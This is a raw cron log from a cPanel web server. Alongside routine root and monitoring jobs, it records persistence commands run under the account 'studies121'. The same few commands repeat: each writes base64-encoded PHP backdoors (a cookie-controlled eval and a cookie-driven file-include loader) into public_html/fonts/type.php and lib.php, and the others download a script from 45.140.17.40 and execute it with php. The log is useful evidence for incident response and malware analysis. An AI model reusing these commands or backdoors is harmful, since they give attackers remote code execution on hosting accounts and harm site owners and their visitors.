Sep 20 08:03:01 ip-184-168-122-23 CROND[14080]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 08:03:01 ip-184-168-122-23 CROND[14081]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 08:03:01 ip-184-168-122-23 CROND[14083]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 08:03:01 ip-184-168-122-23 CROND[14084]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 08:04:01 ip-184-168-122-23 CROND[14346]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 08:04:01 ip-184-168-122-23 CROND[14348]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 08:04:01 ip-184-168-122-23 CROND[14350]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 08:04:01 ip-184-168-122-23 CROND[14349]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 08:04:01 ip-184-168-122-23 CROND[14351]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 08:05:01 ip-184-168-122-23 CROND[14674]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 08:05:01 ip-184-168-122-23 CROND[14676]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 20 08:05:01 ip-184-168-122-23 CROND[14677]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 08:05:01 ip-184-168-122-23 CROND[14680]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 08:05:01 ip-184-168-122-23 CROND[14681]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 08:05:01 ip-184-168-122-23 CROND[14685]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 08:05:01 ip-184-168-122-23 CROND[14684]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 08:06:01 ip-184-168-122-23 CROND[15000]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 08:06:01 ip-184-168-122-23 CROND[15002]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 08:06:01 ip-184-168-122-23 CROND[15003]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 08:06:01 ip-184-168-122-23 CROND[15005]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 08:06:01 ip-184-168-122-23 CROND[15004]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 08:07:01 ip-184-168-122-23 CROND[15383]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 08:07:01 ip-184-168-122-23 CROND[15382]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 08:07:01 ip-184-168-122-23 CROND[15388]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 08:07:01 ip-184-168-122-23 CROND[15387]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 08:08:01 ip-184-168-122-23 CROND[15675]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 08:08:01 ip-184-168-122-23 CROND[15676]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 08:08:01 ip-184-168-122-23 CROND[15679]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 08:08:01 ip-184-168-122-23 CROND[15681]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 08:08:01 ip-184-168-122-23 CROND[15683]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 08:09:01 ip-184-168-122-23 CROND[15973]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 08:09:01 ip-184-168-122-23 CROND[15974]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 20 08:09:01 ip-184-168-122-23 CROND[15976]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 08:09:01 ip-184-168-122-23 CROND[15977]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 08:09:01 ip-184-168-122-23 CROND[15980]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 08:10:01 ip-184-168-122-23 CROND[16359]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 08:10:01 ip-184-168-122-23 CROND[16364]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 08:10:02 ip-184-168-122-23 CROND[16363]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 08:10:02 ip-184-168-122-23 CROND[16365]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 08:10:02 ip-184-168-122-23 CROND[16366]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 08:10:02 ip-184-168-122-23 CROND[16368]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 08:10:02 ip-184-168-122-23 CROND[16362]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 08:10:02 ip-184-168-122-23 CROND[16367]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 08:11:01 ip-184-168-122-23 CROND[16652]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 08:11:01 ip-184-168-122-23 CROND[16654]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 08:11:01 ip-184-168-122-23 CROND[16655]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 08:11:01 ip-184-168-122-23 CROND[16656]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 08:12:01 ip-184-168-122-23 CROND[16932]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 08:12:01 ip-184-168-122-23 CROND[16933]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 08:12:01 ip-184-168-122-23 CROND[16937]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 08:12:01 ip-184-168-122-23 CROND[16938]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 08:12:01 ip-184-168-122-23 CROND[16939]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 08:13:01 ip-184-168-122-23 CROND[17277]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 08:13:01 ip-184-168-122-23 CROND[17278]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 08:13:01 ip-184-168-122-23 CROND[17283]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 08:13:01 ip-184-168-122-23 CROND[17282]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 08:14:01 ip-184-168-122-23 CROND[17573]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 08:14:01 ip-184-168-122-23 CROND[17574]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 08:14:02 ip-184-168-122-23 CROND[17578]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 08:14:02 ip-184-168-122-23 CROND[17579]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 08:14:02 ip-184-168-122-23 CROND[17580]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 08:15:01 ip-184-168-122-23 CROND[17823]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 08:15:01 ip-184-168-122-23 CROND[17825]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
